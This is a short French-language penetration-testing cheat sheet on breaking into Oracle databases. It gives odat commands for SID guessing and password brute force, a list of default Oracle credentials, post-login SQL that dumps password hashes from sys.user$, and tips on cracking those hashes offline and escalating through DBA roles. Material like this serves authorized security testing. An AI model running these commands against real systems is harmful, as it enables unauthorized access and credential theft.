L'accès à Oracle est un problème en deux étapes : trouver d'abord un SID valide derrière le listener TNS, puis trouver un compte qui fonctionne contre celui-ci. Les deux sont automatisés par odat, et les identifiants par défaut font réussir la seconde étape bien plus souvent qu'elle ne le devrait.
Énumération du listener et des SID#
# Comprehensive scan: listener info, SID guessing, credential testing
odat all -s <target> -p 1521
# Just enumerate SIDs (brute and version-based)
odat sidguesser -s <target> -p 1521
Comptes par défaut et faibles#
Oracle est livré avec une longue liste de comptes par défaut, et beaucoup survivent dans la nature :
# Guess credentials against a known SID (default account list + wordlists)
odat passwordguesser -s <target> -p 1521 -d <SID> --accounts-file accounts.txt
# Classic defaults worth trying first
SYSTEM/manager SYS/change_on_install SCOTT/tiger DBSNMP/dbsnmp OUTLN/outln
Énumération post-authentification#
-- with a session (sqlplus user/pass@//target/SID)
SELECT * FROM user_role_privs; -- my roles (DBA?)
SELECT name, password, spare4 FROM sys.user$; -- password hashes (needs privilege)
SELECT * FROM session_privs; -- my system privileges
Notes d'exploitation#
- Un SID valide est le prérequis de tout le reste, donc exécutez
sidguesseren premier ; un SID erroné ou manquant rend les tests d'identifiants dénués de sens. - DBA ou un rôle avec
CREATE PROCEDURE/CREATE ANY ...est la porte vers l'exécution de commandes ; vérifiezuser_role_privsimmédiatement. - Les empreintes de
sys.user$(et les valeurs SHAspare4en 11g+) se cassent hors ligne, étendant l'accès à d'autres instances où les comptes sont réutilisés. - Les comptes par défaut d'Oracle constituent le point d'ancrage le plus fiable, donc épuisez la liste par défaut avant un brute force plus poussé.
Outils#
- ODAT (
all,sidguesser,passwordguesser) : énumération de bout en bout du listener, des SID et des identifiants. - sqlplus / python-oracledb : session authentifiée pour l'extraction du schéma et des empreintes.
- nmap
oracle-sid-brute: énumération alternative des SID.